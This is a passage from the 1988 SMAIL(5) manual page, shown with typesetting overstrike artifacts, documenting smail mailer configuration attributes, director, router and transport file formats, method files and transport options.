_o_f_t_e_n _`_`_n_o_b_o_d_y_'_' This names a default user that defines permissions when no other user is specified. Also, this user is used in some conditions when it is not certain whether a set of actions can be trusted, if per- formed under other, potentially more powerful users. This should reference a login id which has few or no capabilities for doing harm or accessing protected files. _p_a_n_i_c_l_o_g type: _s_t_r_i_n_g default value: _`_`_/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_p_a_n_i_c_l_o_g_'_' The name of a file to which panic and very impor- tant error messages are appended. If this file does not exist, it is created with a mode from the _l_o_g___m_o_d_e attribute. Entries written to this log file represent problems that require human inter- vention, such as configuration errors or directory Local 1 February 1988 14 SMAIL(5) SMAIL(5) permission errors preventing mail spooling or delivery. Configuration errors generally cause mail to be moved into a special _e_r_r_o_r_/ directory under the input spool directory, thus preventing attempts at redelivery until the configuration error has been corrected. Thus, both the panic log and the _e_r_r_o_r_/ directory should be checked periodically under normal use, and frequently after configuration changes. When any problems have been resolved, these messages can be requeued for delivery by using _m_v(1) to move the spool files back to the spool directory. _p_o_s_t_m_a_s_t_e_r___a_d_d_r_e_s_s or _p_o_s_t_m_a_s_t_e_r type: _s_t_r_i_n_g default value: _`_`_r_o_o_t_'_' This is the default address for the postmaster. If the address _P_o_s_t_m_a_s_t_e_r is not resolved by any of the configured directors, then this address is used. _q_u_a_l_i_f_y___f_i_l_e type: _s_t_r_i_n_g default value: _`_`_q_u_a_l_i_f_y_'_' Names the file containing the hostname qualifica- tion information. If this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. _q_u_e_u_e___o_n_l_y type: _b_o_o_l_e_a_n default value: _o_f_f If this is set then _s_m_a_i_l will not immediately attempt delivery for incoming mail. The _s_m_a_i_l pro- gram will then only attempt delivery when explic- itly processing the input queue, such as when invoked with the --qq flag. _r_e_c_e_i_v_e_d___f_i_e_l_d type: _s_t_r_i_n_g This string will be expanded to form the RReecceeiivveedd:: header field. This field will be inserted into the header if the rreecceeiivveedd attribute is not explicitly turned off for a transport. The default value for rreecceeiivveedd__ffiieelldd is: Received: \ ${if def:sender_host\ {from $sender_host by $primary_name\ ${if def:sender_proto: with $sender_proto}\ \n\t(Smail$version #$compile_num) }\ Local 1 February 1988 15 SMAIL(5) SMAIL(5) else{by $primary_name ${if def:sender_proto:with $sender_proto }\ (Smail$version #$compile_num)\n\t}}\ id $message_id; $spool_date _r_e_q_u_i_r_e___c_o_n_f_i_g_s type: _b_o_o_l_e_a_n default value: _o_f_f If this is not set, then configuration files are not required to exist. This applies to the primary and secondary config files and the director, router and transport files. If one of these files does not exist then it is ignored and internally com- piled configuration is used instead. If this attribute is set, then any configuration file, which does not have a NULL filename (for example, using --rroouutteerr__ffiillee to set the name for the router file to NULL) and which does not exist, will gener- ate a panic message from the mailer. _r_e_t_r_y___f_i_l_e type: _s_t_r_i_n_g default value: _`_`_r_e_t_r_y_'_' Names the file containing the retry control infor- mation. If this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r direc- tory. _r_e_t_r_y___d_u_r_a_t_i_o_n type: _i_n_t_e_r_v_a_l default value: _5_d Specify the default duration for attempting deliver of messages. If a message cannot be delivered within this period of time, then the message deliv- ery fails and a bounce message is sent to the sender, or to the list owner, if there is one. A number with no suffix indicates seconds. Suffixes can be added to indicate a time multiplier. mm indicates minutes, hh indicates hours, dd indicates days. _r_e_t_r_y___i_n_t_e_r_v_a_l type: _i_n_t_e_r_v_a_l default value: _1_0_m Specify the default retry interval for connecting to unaccessible hosts. If a host is temporarily unreachable, then smail will avoid attempting to deliver to that host until this period of time has elapsed. This applies to all messages, so that queue runs will not block each message waiting for a timeout for a particular set of unaccessible hosts. See the description of the _r_e_t_r_y file for more information. Local 1 February 1988 16 SMAIL(5) SMAIL(5) _r_e_t_u_r_n___p_a_t_h___f_i_e_l_d type: _s_t_r_i_n_g default value: _`_`_R_e_t_u_r_n_-_P_a_t_h_: _<_$_s_e_n_d_e_r_>_'_' This string will be expanded to form the RReettuurrnn-- PPaatthh:: header field. This field will be inserted into the header if the rreettuurrnn__ppaatthh attribute is turned on for a transport. _r_o_u_t_e_r___f_i_l_e type: _s_t_r_i_n_g default value: _`_`_r_o_u_t_e_r_s_'_' Names the file containing the router configuration information. If this does not begin with `/', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. _s_e_c_o_n_d___c_o_n_f_i_g___f_i_l_e type: _s_t_r_i_n_g default value: _n_o_n_e This names a secondary configuration file which can define attribute values which override internal defaults and values in the primary configuration file. If this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r direc- tory. This is primarily useful in networks con- taining machines that share filesystems. By having a shared primary configuration file most systems on a network need not be concerned with maintaining the _s_m_a_i_l program, while other systems may want or need to use a different configuration, while shar- ing the same binary. In particular, the ssmmaarrtt__uusseerr, ssmmaarrtt__ppaatthh and ssmmaarrtt__ttrraannssppoorrtt attributes are common attributes to be set in the secondary configuration file. _s_e_n_d_e_r___e_n_v___v_a_r_i_a_b_l_e type: _s_t_r_i_n_g default value: _n_o_n_e This names an environment variable that can be used to name the sender. Normally, the sender is deter- mined from system login information, or by checking the real user ID of the calling process. If _s_e_n_d_e_r___e_n_v___v_a_r_i_a_b_l_e is set, and an environment variable with the given name exists, then use it, by default. This can be set to LOGNAME for use with System V-based systems, or USER for BSD-based systems. _s_m_a_i_l type: _s_t_r_i_n_g default value: _`_`_/_b_i_n_/_s_m_a_i_l Name a valid path to a _s_m_a_i_l binary that can be used to re-exec _s_m_a_i_l when a major configuration change has been detected, or to exec _s_m_a_i_l when Local 1 February 1988 17 SMAIL(5) SMAIL(5) delivering error messages. If this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. _s_m_a_i_l___l_i_b___d_i_r type: _s_t_r_i_n_g default value: _`_`_/_u_s_r_/_l_i_b_/_m_a_i_l_'_' This defines the path to the smail configuration file directory. The router, director and transport files, as well as alias and path files and method files may be referenced relative to this directory. _s_m_a_i_l___u_t_i_l___d_i_r type: _s_t_r_i_n_g default value: _`_`_/_u_s_r_/_l_i_b_/_m_a_i_l_'_' This defines the path to directory containing most smail utilities. In particular, smail expects to find the mmkkaalliiaasseess and mmkkddbbmm utilities in this directory. _s_m_a_r_t___p_a_t_h type: _s_t_r_i_n_g default value: _n_o_n_e This defines the default value for the ppaatthh attribute used by the _s_m_a_r_t_h_o_s_t router driver. This gives the path to a machine which supposedly contains a more complete routing database than is available on the local host. See a later section describing the smarthost driver for more informa- tion on the use of this attribute. _s_m_a_r_t___t_r_a_n_s_p_o_r_t type: _s_t_r_i_n_g default value: _n_o_n_e This defines the default value for the ttrraannssppoorrtt generic attribute used by the _s_m_a_r_t_h_o_s_t router driver. See a later section describing the smarthost driver for more information on the use of this attribute. _s_m_a_r_t___u_s_e_r type: _s_t_r_i_n_g default value: _n_o_n_e This defines the default value for the ssmmaarrtt__uusseerr attribute used by the _s_m_a_r_t_u_s_e_r director driver. _s_m_t_p___a_c_c_e_p_t___m_a_x type: _n_u_m_b_e_r The maximum number of SMTP connections that smail will process at any one time. This is for use with SMTP daemons started with the --bbdd option to _s_m_a_i_l. If connection requests come in while when this num- ber of SMTP-connection children are forked, the connection will be shutdown with SMTP message 421. Local 1 February 1988 18 SMAIL(5) SMAIL(5) If this value is zero, then the number of SMTP con- nections is not limited. _s_m_t_p___a_c_c_e_p_t___q_u_e_u_e type: _n_u_m_b_e_r If this number of SMTP connection processes is exceeded, then additional connections will be accepted, but their messages will be queued and will not be processed until a later queue run. When the number of current connection processes drops below this number, immediate mail processing will resume, depending upon the value of ddeelliivv-- eerryy__mmooddee. If this value is zero, then SMTP connections will not be converted to queue-only mode based on the number of connections. Note that the value of _s_m_t_p___a_c_c_e_p_t___q_u_e_u_e should be less than the value of _s_m_t_p___a_c_c_e_p_t___m_a_x, and that setting _s_m_t_p___a_c_c_e_p_t___m_a_x to zero prevents _s_m_t_p___a_c_c_e_p_t___q_u_e_u_e from working correctly in all cases. _s_m_t_p___b_a_n_n_e_r type: _s_t_r_i_n_g This string will be expanded to form the SMTP startup banner that is written by the SMTP server when a connection request is accepted. Each line of this message is automatically preceded by a 220 identification code, and newlines are correctly changed into a carriage-return newline sequence. The default value for ssmmttpp__bbaannnneerr is: $primary_name Smail$version #$compile_num ready at $date _s_m_t_p___d_e_b_u_g type: _b_o_o_l_e_a_n default value: _o_n This boolean variable controls the meaning of the DEBUG command when receiving SMTP commands. If the variable is on, then the DEBUG command (with an optional debugging level) sets debugging to the specified level, or 1 if no level was specified. The debugging output will be written over the SMTP connection. _s_m_t_p___r_e_c_e_i_v_e___c_o_m_m_a_n_d___t_i_m_e_o_u_t type: _i_n_t_e_r_v_a_l default value: _5_m This interval defines the timeout for each SMTP receiver command for interactive SMTP daemons. If a command is not received within this period of time after a prompt, then the connection is closed down and the SMTP receiver exits. Local 1 February 1988 19 SMAIL(5) SMAIL(5) _s_m_t_p___r_e_c_e_i_v_e___m_e_s_s_a_g_e___t_i_m_e_o_u_t type: _i_n_t_e_r_v_a_l default value: _2_h This interval defines the timeout for reading a message with the DATA command for interactive SMTP daemons. If the entire message is not received within this period of time after the ``354 Enter mail'' prompt, then the message is removed, the connection is closed down, and the SMTP receiver exits. _s_p_o_o_l___d_i_r_s type: _s_t_r_i_n_g default value: _`_`_/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_'_' This defines one or more directories into which incoming mail can be spooled. Directories are sep- arated by single colon characters. When writing a message to the first spool directory fails, (say due to permission problems, filesystem full errors, etc.) successive spool directories are tried until the incoming message can be successfully written or until no more alternative directories exist. Each spool directory is expected to have writable subdi- rectories of: _i_n_p_u_t (to hold the actual spool files), _l_o_c_k (for temporary lock files), _m_s_g_l_o_g (for temporary per-message transaction logs and audit trails) and _e_r_r_o_r (to hold messages which failed due to configuration errors or other prob- lems which require human intervention). _s_p_o_o_l___g_r_a_d_e type: _c_h_a_r_a_c_t_e_r default value: _`_`_C_'_' This character names the default grade for mes- sages. This can be overridden by a PPrreecceeddeennccee:: field in the message header. The grade is used in sorting messages in the input spool directory and is also available in string expansions as the $$ggrraaddee variable. See the ggrraaddeess attribute for more information. _s_p_o_o_l___m_o_d_e type: _n_u_m_b_e_r default value: _0_4_4_0 This defines the file creation mode for spool files. _t_r_a_n_s_p_o_r_t___f_i_l_e type: _s_t_r_i_n_g default value: _`_`_t_r_a_n_s_p_o_r_t_s_'_' names the file containing the transport configura- tion information. If this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. Local 1 February 1988 20 SMAIL(5) SMAIL(5) _t_r_u_s_t_e_d___u_s_e_r_s type: _s_t_r_i_n_g default value: _`_`_r_o_o_t_:_u_u_c_p_:_d_a_e_m_o_n_'_' This names a list of users (separated by colons) who are trusted to specify a sender for a message. Users who are not in this list cannot specify a SSeennddeerr:: header field without it being removed. If such users specify a FFrroomm:: header field, then a SSeennddeerr:: field will be created that specifies the real user that submitted this mail. Generally, this should be set to that names of all users under which remote mail is received and sent to _s_m_a_i_l. If this list is turned off, using the form --ttrruusstteedd, then all users are trusted. NNOOTTEE:: The real user ID is used in verifying trusted users. However, under many operating systems, the /usr/lib/uucp/uucico program runs under the real uid of the user that ran _/_u_s_r_/_l_i_b_/_u_u_c_p_/_u_u_c_i_c_o_. Often any user can run the _u_u_c_i_c_o program. The _s_m_a_i_l program cannot differentiate this case from any other case and will thus do the ``wrong thing'' here. If this problem exists on your machine, then the trusted attribute may need to be turned off. This problem is particularly difficult to resolve on System V machines where non-superuser programs are unable to change their real uid. _t_r_u_s_t_e_d___g_r_o_u_p_s type: _s_t_r_i_n_g default value: _o_f_f This names a list of groups (separated by colons) that are trusted to specify a sender for a message. The groups specified are checked against the effec- tive gid of smail. Thus, if smail is a setgid pro- gram, then this string is of no value and should be turned off. However, if smail is not set gid, then programs that invoke smail under a specific effec- tive gid, while not a specific real uid, can be detected and can be properly treated as trusted. _u_u_c_p___n_a_m_e type: _s_t_r_i_n_g default value: _c_o_m_p_u_t_e_d _a_t _r_u_n _t_i_m_e This specifies a name for the local host. This name is available in string expansions as the $$uuuuccpp__nnaammee variable. It is also used in the ``remote from _h_o_s_t_n_a_m_e'' suffix to ``From_<_s_p_a_c_e_>'' lines for mail being delivered to remote machines, when the ffrroomm attribute is turned on for a trans- port. _d_o_m_a_i_n_s type: _s_t_r_i_n_g Local 1 February 1988 21 SMAIL(5) SMAIL(5) default value: _u_u_c_p _v_i_s_i_b_l_e___n_a_m_e type: _s_t_r_i_n_g default value: _c_o_m_p_u_t_e_d _a_t _r_u_n _t_i_m_e The full domain name used in outgoing mail addresses within header fields. If vviissiibbllee__nnaammee is turned off, then it will be set to the first name from the hhoossttnnaammeess attribute. If the hhoossttnnaammeess attribute is not specified then that attribute will be filled in with hostnames of the form _h_o_s_t_- _n_a_m_e._d_o_m_a_i_n, where _h_o_s_t_n_a_m_e is derived in a system- dependent manner and where _d_o_m_a_i_n, here, is one name from the ddoommaaiinnss list attribute. Each entry in the ddoommaaiinnss list is used, in order, to created the hhoossttnnaammeess value. For sites in the UUCP zone ddoommaaiinnss will often merely be the string ``uucp''. Finally, the vari- able $$vviissiibbllee__nnaammee is available in string expan- sions. For compatibility with earlier versions of smail3.1, the ddoommaaiinnss list can also be specified as vviissiibbllee__ddoommaaiinnss. DDIIRREECCTTOORR,, RROOUUTTEERR AANNDD TTRRAANNSSPPOORRTT FFIILLEE FFOORRMMAATTSS The _d_i_r_e_c_t_o_r, _r_o_u_t_e_r and _t_r_a_n_s_p_o_r_t configuration files share a common format, which is described in this section. The specific contents for each file are described in later sections. Each entry in one of these files specifies a name for the entry, a set of _g_e_n_e_r_i_c attributes and a set of _d_r_i_v_e_r attributes. The generic attributes and the driver attributes define the characteristics for the entry. The list of possible generic attributes are common to all entries in a configuration file. One generic attribute is always required: the ddrriivveerr attribute. This attribute names the underlying set of functions that will be used when using that entry. The list of possible driver attributes are specific to different types of drivers. The form of an entry is: _e_n_t_r_y___n_a_m_e: _g_e_n_e_r_i_c___a_t_t_r_i_b_u_t_e , ... ; _d_r_i_v_e_r___a_t_t_r_i_b_u_t_e , ... where a comma separates the definitions for specific attributes and where a semicolon separates the generic attributes from the driver attributes. It is _n_o_t an error for an entry to end in a comma or semicolon. The form for generic and driver attributes is the same as for entries in the config file. Local 1 February 1988 22 SMAIL(5) SMAIL(5) As an example, consider an entry in the transport file that specifies use of the program /bin/mail to deliver mail to local users. The mail messages are to contain a ``Return-Path:'' header field, and the /bin/mail program is to be given no more than 20 addresses per invocation. A simple entry to specify this is: # call /bin/mail to deliver to local users local: max_addrs=20, return_path, driver=pipe; cmd="/bin/mail $($user$)" IINNTTEERRAACCTTIIOONN BBEETTWWEEEENN DDIIRREECCTTOORRSS,, RROOUUTTEERRSS AANNDD TTRRAANNSSPPOORRTTSS To better understand the use of the _d_i_r_e_c_t_o_r, _r_o_u_t_e_r and _t_r_a_n_s_p_o_r_t files, this section describes, briefly, how address resolving and delivery is accomplished in _s_m_a_i_l. The configuration specified in these files is intimately involved in this process. When _s_m_a_i_l is given a list of addresses to which a message is to be delivered, the list is processed iteratively until a list of resolved addresses is produced. When an address is resolved, the transport (the part of _s_m_a_i_l that performs delivery of messages to local users or remote hosts) and all data required by the transport will be known. To accomplish this the _s_m_a_i_l program goes through the fol- lowing steps: a. Each address is parsed to find a hostname, called the _t_a_r_g_e_t, and the remaining part of the address, called the _r_e_m_a_i_n_d_e_r. As a simple example, in the address _t_r_o_n_@_u_t_s_._a_m_d_a_h_l_._c_o_m, the host part _u_t_s_._a_m_d_a_h_l_._c_o_m is the target and _t_r_o_n is the remainder. In the address _s_u_n_!_a_m_d_a_h_l_!_t_r_o_n, the target is _s_u_n and the remainder is _a_m_d_a_h_l_!_t_r_o_n. More information on addresses can be found in _m_a_i_l_a_d_d_r_s_(_5_). b. Each local address is given to directors, in the order specified by the director file, until one of the directors says that it knows what to do with that address. That director has the option of returning a new list of addresses or of putting the address on a list of resolved addresses. If new addresses are pro- duced, they are put on the input list, to be processed from step a. c. Each remote address is passed to routers, in the order specified by the router file, until one of the routers is able to match the target name for the address. If no router is able to match the complete target, then the first router with the longest match will be used. The router specifies the transport to be used for Local 1 February 1988 23 SMAIL(5) SMAIL(5) delivery to that address, plus some other information required by the transport, such as the _n_e_x_t _h_o_s_t and _n_e_x_t _a_d_d_r_e_s_s values. The transport may come from a router default, a method file of may be specified by the router specifically. When all addresses have been resolved, they are sorted out and passed to transports. It is the job of the transport to deliver a message to the set of addresses that it is given. It is important to know that all hostnames and local user- names are matched independent of case, so that, for exam- ple, _P_o_s_t_m_a_s_t_e_r, _P_O_S_T_M_A_S_T_E_R and _p_o_s_t_m_a_s_t_e_r all compare equal. In addition an internal hash table is kept of all regular recipient addresses, that is, all addresses which do not specify files or shell commands. This table is used to discard duplicate regular recipient addresses. This hash table is independent of case, as well, so that the address _P_o_s_t_m_a_s_t_e_r_@_S_R_I_-_N_I_C_._A_R_P_A is considered a dupli- cate of _p_o_s_t_m_a_s_t_e_r_@_s_r_i_-_n_i_c_._a_r_p_a. TTHHEE DDIIRREECCTTOORR FFIILLEE The _d_i_r_e_c_t_o_r file describes the operations, and their order, for handling local addresses. For example, some possibilities are to expand a local address into a list of local and remote addresses through an alias file, forward file or mailing list, or to cause mail to be delivered to a local user. The following list describes the possible generic attributes for director file entries: _c_a_u_t_i_o_n type: _b_o_o_l_e_a_n If set then be cautious of addresses produced by this director. If the nobody attribute is not set, then reject file, shell command or _:_i_n_c_l_u_d_e_:_f_i_l_e_n_a_m_e-style mailing list addresses. _d_e_f_a_u_l_t___g_r_o_u_p type: _s_t_r_i_n_g If the driver does not associate a group to an address returned by it, then associate the group id for this group name. This will override the gid set by a ddeeffaauulltt__uusseerr attribute. _d_e_f_a_u_l_t___h_o_m_e type: _s_t_r_i_n_g If the driver does not associate a home directory with an address returned by it, then use this home directory. The value will be expanded to form the actual directory pathname. At the present time, the $$uusseerr variable is not available for this Local 1 February 1988 24 SMAIL(5) SMAIL(5) expansion. If the string expansion fails, it is ignored. _d_e_f_a_u_l_t___u_s_e_r type: _s_t_r_i_n_g If the driver does not associate a user or group to an address returned by it, then associate the user id and group id of this user. _d_r_i_v_e_r type: _s_t_r_i_n_g The driver attribute names a specific set of low- level functions which will do the work of directing local mail. This attribute is required. _n_o_b_o_d_y type: _b_o_o_l_e_a_n If set, then access files, or run shell commands as the user specified by the nnoobbooddyy attribute, for addresses flagged with _c_a_u_t_i_o_n by either the ccaauu-- ttiioonn generic attribute or by the driver. Associa- tion of nobody with an address overrides the default_user, default_group, set_user and set_group attributes. This attribute is set by default. _o_w_n_e_r type: _s_t_r_i_n_g Names the address to be sent mail if an error occurs in processing the addresses produced by this director. This string is expanded with the vari- able $$uusseerr set to the local-form address passed to the director. Commonly the value will be ``owner-$user''. If this string expansion fails, it is ignored. _s_e_n_d_e_r___o_k_a_y type: _b_o_o_l_e_a_n If set, then it is always okay for this attribute to produce an address equal to the sender. This effectively turns on the _m_e _t_o_o flag for this director. This should generally be set for for- warding directors and should not be set for alias- ing and mailing list directors. _s_e_t___g_r_o_u_p type: _s_t_r_i_n_g Associate the gid for this group with the addresses returned by the driver. This overrides any gid set by the sseett__uusseerr attribute. _s_e_t___h_o_m_e type: _s_t_r_i_n_g Associate this home directory with all addresses returned by the driver. This will be expanded in Local 1 February 1988 25 SMAIL(5) SMAIL(5) the same manner as ddeeffaauulltt__hhoommee. _s_e_t___u_s_e_r type: _s_t_r_i_n_g Associate the uid and gid for this user with addresses returned by the driver. This overrides any values set by the driver. There are two addresses which are required by the mailer software to exist: the address _P_o_s_t_m_a_s_t_e_r and the address _M_a_i_l_e_r_-_D_a_e_m_o_n. To avoid the necessity of an alias for these two users, smail contains two implicit directors embedded into the directing code. These implicit direc- tors are used as a last resort. The first such director maps the address _M_a_i_l_e_r_-_D_a_e_m_o_n onto the address _P_o_s_t_m_a_s_t_e_r and the second maps _P_o_s_t_m_a_s_t_e_r onto the address _r_o_o_t. TTHHEE RROOUUTTEERR FFIILLEE The _r_o_u_t_e_r file describes the operations, and their order, for handling remote addresses. For example, some possi- bilities are to lookup hostnames in a routing database, to match a special domain-literal form, or call a program to return a list of neighboring hosts. The following list describes the possible generic attributes for router file entries: _a_l_w_a_y_s type: _b_o_o_l_e_a_n Routers will not always find a complete match for a particular hostname. For example, if a routing database has a route to the domain _a_m_d_a_h_l_._c_o_m but not to the hostname _f_u_t_a_t_s_u_._u_t_s_._a_m_d_a_h_l_._c_o_m then the routing driver might return the route to _a_m_d_a_h_l_._c_o_m. Generally, the route for the longest match of the target host is used. However, if the aallwwaayyss attribute is set, then any match found by this router will be used in preference to routes that might have been returned by routers _l_a_t_e_r _i_n _t_h_e _r_o_u_t_e_r _l_i_s_t. This is useful for hardwiring a certain number of routes within a small database. For example, this is useful for Internet sites that gateway for a small number of UUCP sites in the UUCP zone. _d_r_i_v_e_r type: _s_t_r_i_n_g The driver attribute names a specific set of low- level functions which will do the work of routing remote mail. This attribute is required. _m_e_t_h_o_d type: _s_t_r_i_n_g Local 1 February 1988 26 SMAIL(5) SMAIL(5) _t_r_a_n_s_p_o_r_t type: _s_t_r_i_n_g The router driver has the option of specifically setting a transport to use for remote delivery. If the driver does not do so, then either a mmeetthhoodd or a ttrraannssppoorrtt attribute must exist to specify how the mail is to be delivered. A mmeetthhoodd attribute speci- fies a file which contains a table relating host- names to transports. A ttrraannssppoorrtt attribute speci- fies a specific transport. If the method file does not contain a match for all hosts, then the trans- port named with the ttrraannssppoorrtt attribute is used. The format of a method file is given in the next section. MMEETTHHOODD FFIILLEESS Method files define a relation between a set of hostnames and a set of transports to be used in delivering to those hostnames. Method files use the standard routine for reading file entries, just as with the _c_o_n_f_i_g, _d_i_r_e_c_t_o_r, _r_o_u_t_e_r and _t_r_a_n_s_p_o_r_t files. Each entry should have the form: _h_o_s_t_n_a_m_e _t_r_a_n_s_p_o_r_t_-_n_a_m_e stating that mail being sent to _h_o_s_t_n_a_m_e should be deliv- ered using the transport _t_r_a_n_s_p_o_r_t_-_n_a_m_e. As a special case, if the _h_o_s_t_n_a_m_e value is the special string ``*'', the entry matches any host. This is a catch-all feature which should only be used in the last entry in a method file. Entries in a method file can be associated with particular message grades. This allows different grades to use dif- ferent transports, such as non-demand UUCP for messages with a bulk or junk precedence. Grade ranges are speci- fied by appending a grade letter range to the hostname, separated by //. Entries with grades can be in any of the forms: _h_o_s_t_n_a_m_e/X _t_r_a_n_s_p_o_r_t_-_n_a_m_e _h_o_s_t_n_a_m_e/X-* _t_r_a_n_s_p_o_r_t_-_n_a_m_e _h_o_s_t_n_a_m_e/*-Y _t_r_a_n_s_p_o_r_t_-_n_a_m_e _h_o_s_t_n_a_m_e/X-Y _t_r_a_n_s_p_o_r_t_-_n_a_m_e See the definition of the ggrraaddeess configuration variable for a discussion of grade letters, and their correlation with message precedence strings. In the first form, the transport is used for an exact match of the grade letter. In the second form, a match requires a grade a character value of at least X. In the third, form a match requires a grade character value of at most Y. The final form specifies a range of grades from character value X to character value Y. Local 1 February 1988 27 SMAIL(5) SMAIL(5) For example, with the default value for the ggrraaddeess vari- able, the following file will use smtp for hosts llooccaall11 and llooccaall22, if the precedence is air-mail or better; oth- erwise, for any host with a precedence of first-class or better, demand-polled uucp is used; otherwise, queued uucp is used: local1/*-A smtp local2/*-A smtp */*-C demand_uucp * uucp TTHHEE TTRRAANNSSPPOORRTT FFIILLEE The _t_r_a_n_s_p_o_r_t file describes the various possible ways, of delivering mail. For example, some possibilities are to call a program such as _u_u_x(1) to deliver mail to a remote host, to connect over TCP/IP to a remote host and converse using an SMTP protocol, or to deliver local mail by appending to a user's mailbox file. NOTE: Unlike the routers and directors files, the trans- ports file does not replace all compiled-in trans- ports. Rather, entries in the transports file override existing entries of the same name, or add new entries. Thus, if you wish to add one new transport definition, you need only add the new definition, and do not need to duplicate all of the existing entries. The following list describes the possible generic attributes for transport file entries: _b_s_m_t_p type: _b_o_o_l_e_a_n Use a batched SMTP format, where the message is enclosed in an envelope of SMTP commands. This is not the same format commonly used on BITNET, as it does not contain FORTRAN carriage control charac- ters. This can be used to send mail to remote hosts using SMTP formats even when direct two-way connections are not feasible. For example, this will work over UUCP and eliminates difficulties with sending arbitrary addresses as arguments to UUX. Use of bbssmmttpp also turns on the ddoottss attribute. When used with the uuuuccpp attribute, UUCP-style !-path addresses are used in the SMTP envelope. _c_r_l_f type: _b_o_o_l_e_a_n If set, then each line of the header and message will end in carriage-return/line-feed rather than a single newline character. This is not typically useful, as the SMTP transport, which requires this Local 1 February 1988 28 SMAIL(5) SMAIL(5) as a part of the interactive protocol always does this anyway. _d_e_b_u_g type: _b_o_o_l_e_a_n If set, replaces the body of the message with debugging information. This can be used, for exam- ple, as a shadow transport to watch the flow of mail for a while for debugging purposes. This essentially allows for debugging without the ethi- cal and space problems of saving the personal cor- respondence of others. _d_o_t_s type: _b_o_o_l_e_a_n If set, then use the hidden dot protocol. All out- put lines which begin with dot will have one more dot prepended. All of the various SMTP modes imply this behavior. _d_r_i_v_e_r type: _s_t_r_i_n_g The driver attribute names a specific set of low- level functions which will do the work of deliver- ing mail. This attribute is always required. _e_r_r_o_r___t_r_a_n_s_p_o_r_t type: _s_t_r_i_n_g names another transport that the message should be sent to, if the first transport returns failure. _f_r_o_m type: _b_o_o_l_e_a_n If set, then supply a ``From_<_s_p_a_c_e_>'' line before the message when delivering with this transport. If this is a remote transport (i.e., the llooccaall attribute is not turned on) then this line will end with ``remote from _h_o_s_t_n_a_m_e'' where _h_o_s_t_n_a_m_e is the UUCP name for the local host. This is useful for delivery over UUCP and for delivery to standard mailbox files, which require this format. _h_b_s_m_t_p type: _b_o_o_l_e_a_n ``Half-baked'' batched SMTP. This is batched SMTP mode without an initial HELO command or an ending QUIT command. This can be used for creating files which will be concatenated together at a later time to form one batch of SMTP commands containing mul- tiple messages. Use of the hhbbssmmttpp attribute also turns on the ddoottss attribute. _l_o_c_a_l___x_f_o_r_m type: _b_o_o_l_e_a_n Local 1 February 1988 29 SMAIL(5) SMAIL(5) If set, the form of the header and envelope infor- mation will be setup for delivery to the local host. This performs no changes to existing header fields, other than insertion of commas into fields containing sender and recipient addresses. This also affects the form of any generated ``From_<_s_p_a_c_e_>'' line and the form of envelope addresses used in SMTP commands. This can be used with remote delivery, if delivery is to a remote smail3.1 site, which is useful within a domain that maintains consistent user for- warding information. This leaves messages in unqualified format until leaving the domain through a gateway. _l_o_c_a_l type: _b_o_o_l_e_a_n This implies llooccaall__xxffoorrmm, but implies that delivery really is final delivery to a user, file, or pro- gram on the local host. This disables generation of a bounce message resulting from an excessive message hop-count. _m_a_x___a_d_d_r_s type: _n_u_m_b_e_r This states the maximum number of recipient addresses that can be given in one call to the transport. If this is turned off then there is no maximum number. The default number is 1 and typi- cally this is either left as 1 or turned off. _m_a_x___c_h_a_r_s type: _n_u_m_b_e_r This states the maximum number of characters in recipient addresses that can be given in one call to the transport. If this is turned off then there is no maximum number. The default number is about one third of the number characters that can be passed as arguments to a program. When using SMTP transports this should be turned off unless a remote host is known to be unable to handle a large number of addresses. For delivery over UUCP to a remote _r_m_a_i_l program, this should be around 200 or 250, to avoid buffer overruns at the remote site. UUCP generally has small buffers to hold argument information. If _s_m_a_i_l is given an address whose length exceeds this number, then the address will be passed with one call to the transport. Thus, this limit is not strictly enforced. Local 1 February 1988 30 SMAIL(5) SMAIL(5) _m_a_x___h_o_s_t_s type: _n_u_m_b_e_r This states the maximum number of different hosts that can be given in one call to the transport. If this is turned off, using the form --mmaaxx__hhoossttss then there is no maximum number. The default number is 1 and typically this is not changed. _r_e_c_e_i_v_e_d type: _b_o_o_l_e_a_n If set, then a RReecceeiivveedd:: field is inserted for mail being delivered with this transport. The form of this field is taken from the rreecceeiivveedd__ffiieelldd attribute in the _c_o_n_f_i_g file. This attribute is on be default. _r_e_t_u_r_n___p_a_t_h type: _b_o_o_l_e_a_n If set, then a RReettuurrnn--PPaatthh:: field is inserted for mail being delivered with this transport. The form of this field is taken from the rreettuurrnn__ppaatthh__ffiieelldd attribute in the _c_o_n_f_i_g file. This should only be used for transports which perform final delivery to local destinations. _s_h_a_d_o_w type: _s_t_r_i_n_g This names another transport that the message should be sent to. This could be used to, for example, start a program that looked up the sender in a database and brought up a rendition of his face from a _f_a_c_e _s_e_r_v_e_r in a window on your work- station. The shadow transport is called only if the primary transport successfully performs deliv- ery. _s_t_r_i_c_t type: _b_o_o_l_e_a_n If this flag is set, then some effort is done to transform mail which does not conform to RFC822 standards. This is potentially useful for sites which gateway between the UUCP zone and the Inter- net. In general, it is not a good idea to turn this on as it changes the contents of headers fields. This should only be done when it is known that some remote hosts only understand mail which conforms to the RFC822 standard. _u_n_i_x___f_r_o_m___h_a_c_k type: _b_o_o_l_e_a_n If set then any line in the body of the message which begins with ``From '' will have the character `>' inserted at the beginning. This is required for local delivery to mailbox files that are in the Local 1 February 1988 31 SMAIL(5) SMAIL(5) standard form expected by the System V _m_a_i_l_x _(_1_) and the BSD _M_a_i_l _(_1_) programs. _u_u_c_p type: _b_o_o_l_e_a_n If set then outgoing recipient addresses will be converted into UUCP-style paths of the form _h_o_s_t_a_!_h_o_s_t_b_!_h_o_s_t_c_!_u_s_e_r. An exception is that any use of `%' as an address operator is preserved. Thus, an envelope address of _u_s_e_r_%_h_o_s_t_b_@_h_o_s_t_a would be converted to _h_o_s_t_a_!_u_s_e_r_%_h_o_s_t_b. This only affects envelope addresses and does NOT affect the message or the message header. _i_n_e_t type: _b_o_o_l_e_a_n If set then outgoing recipient addresses will be conform into to internet specifications. This is not the same as the strict attribute, since the transformations apply only to the envelope addresses, 